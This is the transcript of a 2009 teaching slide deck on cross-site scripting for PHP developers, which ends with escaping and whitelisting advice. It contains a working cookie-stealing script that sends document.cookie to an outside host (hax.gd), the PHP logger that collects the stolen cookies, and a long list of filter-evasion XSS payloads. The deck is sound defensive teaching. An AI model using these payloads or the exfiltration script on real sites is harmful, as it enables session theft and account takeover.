XSS: An Introduction and Demonstration (2009)

E34acb847338523dc088f03f0eedd1eb?s=47 Rob Howard
September 02, 2009

XSS: An Introduction and Demonstration (2009)

The first in a short series of presentations given at a PHP development shop.

E34acb847338523dc088f03f0eedd1eb?s=128

Rob Howard

September 02, 2009
Tweet

Transcript

  1. 2.

    XSS: An Introduction  “Cross-Site Scripting”  Using client-side code

    to send sensitive information off to far-away places.  eg. Javascript
  2. 7.

    XSS: An Introduction  That http://hax.gd/x.js script could be: document.write(

    '<img src="http://hax.gd/x.php?'+ escape(document.cookie)+'" style="display:none;" />'); <td><img src="http://hax.gd/x.php?award_visited=1;...; __csuid=489058e83ee2e832;_PHPSESSID=t57tm1fvvdhonprigkdon71677" style="display:none;" />Mallory</td>
  3. 8.

    XSS: An Introduction  Let's have a look at http://hax.gd/x.php:

    <?php $fh=fopen('xss.log','a'); fwrite($fh,$_SERVER['HTTP_REFERER']. var_export($_GET,1)); fclose($fh); http://example/cms/objects.php? _obj_name=example_data&_subnav=123 array('award_visited=1;__csuid=blah; _PHPSESSID=t57tm1fvvdhonprigkdon7167 7' => '',)
  4. 11.

    XSS: An Introduction  Steal the cookie.  Get the

    URL to the admin screen.  Log in at will, exposing the very soft underbelly.  Time for a demo.
  5. 12.
  6. 13.

    Filtering and Escaping  Sometimes are conflated, with side-effects being

    things like backslashes or entity tags found in stored data.  This is all very well and good, but what happens if you want to put this into an email message or save out to a text document?  “Strip out all tags!” can result in mangled content:  eg. <3, <( ^o^)>, 1 < x < 5, “if foo <> bar then”
  7. 14.

    Filtering and Escaping  Validation & Filtering: Checking for and

    getting rid of the nasties.  Checking data is of the correct type, eg. email addresses, postcodes, message text.  Stripping out control characters, fixing multibyte encoding shenanigans with iconv().  Escaping: Packaging data up for transport.  mysql_real_escape_string() for MySQL strings.  htmlentities($x, ENT_QUOTES, 'UTF-8'); for HTML.  urlencode() for query params.
  8. 15.

    Filtering and Escaping  Why don't we just kill any

    <script> tags we find? <IMG SRC=javascript:alert('a')> <img src=javascript:alert(&quot;a&quot;)> <img “””><script>alert('a')</script>”> <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114; &#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114; &#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72 &#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72 &#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> <IMG SRC="jav ascript:alert('a');"> <IMG SRC="jav&#x09;as&#x09cript:alert('XSS');"> <IMG SRC="jav&#x0A;ascript:alert('XSS');"> <SCR\0IPT>alert('a')</SCR\0IPT> <SCRIPT/a SRC="http://foo/x.js"></SCRIPT> <img onmouseover!#$%&=alert('a')> <<SCRIPT>alert("a");//<</SCRIPT> <SC<SCRIPT>RIPT>alert('a');</SC</SCRIPT>RIPT> <SC\0RIPT SRC=http://foo/x.js?<B> <script src=//foo/x.js> <img src=”javascript:alert('a')” <IMG SRC = " j a v a s c r i p t : a l e r t ( ' a ' ) " >
  9. 16.

    Filtering and Escaping  Why don't we just kill any

    <script> tags we find? <iframe src=http://foo/x.html < <body background=”javascript:alert('a')”> <BODY ONLOAD=alert('a')> <img dynsrc=”javascript:alert('a')”> <img lowsrc=”javascript:alert('a')”> <BGSOUND SRC=javascript:alert('a')> <BR SIZE=”&{alert('a')}”> <LAYER SRC=”http://foo/x.html”></LAYER> <link rel=”stylesheet” href=”javascript:alert('a');”> <XSS STYLE="behavior: url(xss.htc);"> <STYLE>BODY{-moz-binding:url("http://foo/x.xml#xss")}</STYLE> <IMG SRC='vbscript:msgbox(“a”)'> <img src=”livescript:alert('a')”> žscriptualert(EXSSE)ž/scriptu (US-ASCII encoding evasion) <META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert('a');”> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64, PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> <TABLE BACKGROUND="javascript:alert('XSS')">
  10. 17.

    Filtering and Escaping  Why don't we just kill any

    <script> tags we find? <DIV STYLE="background-image: url(javascript:alert('a'))"> <DIV STYLE="background-image:\0075\0072\006C\0028'\006a \0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061 \006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> <DIV STYLE="background-image: url(&#1;javascript:alert('a'))"> <DIV STYLE="width: expression(alert('a'));"> <STYLE>@im\port'\ja\vasc\ript:alert("a")';</STYLE> <IMG STYLE="xss:expr/*XSS*/ession(alert('a'))"> exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("a"))'> <STYLE TYPE="text/javascript">alert('a');</STYLE> <STYLE>.x{background-image:url("javascript:alert('a')");}</STYLE><A CLASS=X></A> <BASE HREF="javascript:alert('a');//"> <OBJECT TYPE="text/x-scriptlet" DATA="http://foo/x.html"></OBJECT> <EMBED SRC="http://foo/xss.swf" AllowScriptAccess="always"></EMBED> <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzd....jwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
  11. 18.

    Filtering and Escaping  Yeah, no.  The transport is

    HTML; package it appropriately.  Using htmlentities($xsslol, ENT_QUOTES, 'UTF-8') will completely neuter most of this stuff.  Use it even on the things you “trust” like $_SERVER['PHP_SELF'], or REQUEST_URI.  It gets hard when you need to put user data into src=”” and style=”” fields; suggest using a whitelist instead, no matter how much of a pain it is to implement. (Or in the case of images and other files, generating the filename for them.)